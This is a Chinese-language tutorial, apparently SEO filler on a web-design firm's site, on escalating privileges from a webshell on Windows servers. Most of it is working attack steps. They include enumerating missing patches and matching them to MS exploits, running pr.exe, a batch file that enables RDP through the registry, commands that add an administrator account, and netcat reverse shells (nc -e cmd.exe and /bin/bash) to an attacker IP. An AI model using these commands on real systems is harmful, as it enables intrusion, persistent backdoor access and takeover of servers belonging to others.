基于WebShell的权限提升

今天就跟大家聊聊有关基于WebShell的权限提升，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。

为安源等地区用户提供了全套网页设计制作服务，及安源网站建设行业解决方案。主营业务为成都网站建设、做网站、安源网站设计，以传统方式定制建设网站，并提供域名空间备案等一条龙服务，秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求，就会得到认可，从而选择与我们长期合作。这样，我们也可以走得更远！

一、基于WebShell的提权

1、访问大马，查看权限

http://192.168.1.147/dm.asp

2、若果遇到拒绝访问什么可以上传一个aspx的大马，这个权限比较大

http://192.168.1.147/da.aspx

二、window提权

1、查看系统打补丁情况

win2003:

systeminfo>C:Windows\tmp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:Windows\tmp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:Windows\tmp\temp.txt

通用型：

systeminfo>C:Windows\tmp\temp.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195) do @type C:Windows\tmp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:WindowsTemptemp.txt

2、补丁对照表，上传exe，执行命令

KB952004 :MS09-012 PR

KB956572 :MS09-012 巴西烤肉

KB2393802:MS11-011

KB2592799:MS11-080

KB2621440:MS12-0203

KB2160329:MS10-048

KB970483 :MS09-020  iis6提权(可能是)

KB2124261,KB2271195 MS10-065 IIS7提权(可能是)

KB977165 :MS10-015

KB2360937 MS10-084

KB2478960 MS11-014

KB2507938 MS11-056

KB2566454 MS11-062

KB2646524 MS12-003

KB2645640 MS12-009

KB2641653 MS12-018

KB3077657 MS15_077 字体提权

KB944653 MS07-067

KB952004 MS09-012

KB971657 MS09-041

KB2620712 MS11-097

kb942831 MS08-005

KB2503665 MS11-046

KB2592799 MS11-080

3、由于存在PR提权漏洞，所以上传一个pr.exe执行

4、一般那些目录有读写权限

日志，缓存、回收站、大马所在目录

5、开启3389，命令行

新建一个bat文件，里面输入以下内容，上传到相应目录

echo Windows Registry Editor Version 5.00>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

del 3389.reg

命令行执行

/c c:\aiyou\pr.exe "c:\aiyou\3389.bat"

2、用工具开3389端口

3、创建用户并添加管理员组

net user abc 123 /add

net localgroup administrators abc /add

三、数据库提权

XP_CMDSHELL开启方法，新建查询

四、反弹shell

1、正向连接，主动连接服务器，服务器开启相应端口

2、反向连接，服务器主动连接我们，我们监听某一端口

小攻：nc -lvvp 1234

小受(webshell)：nc.exe -e cmd.exe 192.168.1.133(小攻ip) 1234

3、获取权限

4、linux系统nc -e /bin/bash 小攻ip 1234

看完上述内容，你们对基于WebShell的权限提升有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注创新互联行业资讯频道，感谢大家的支持。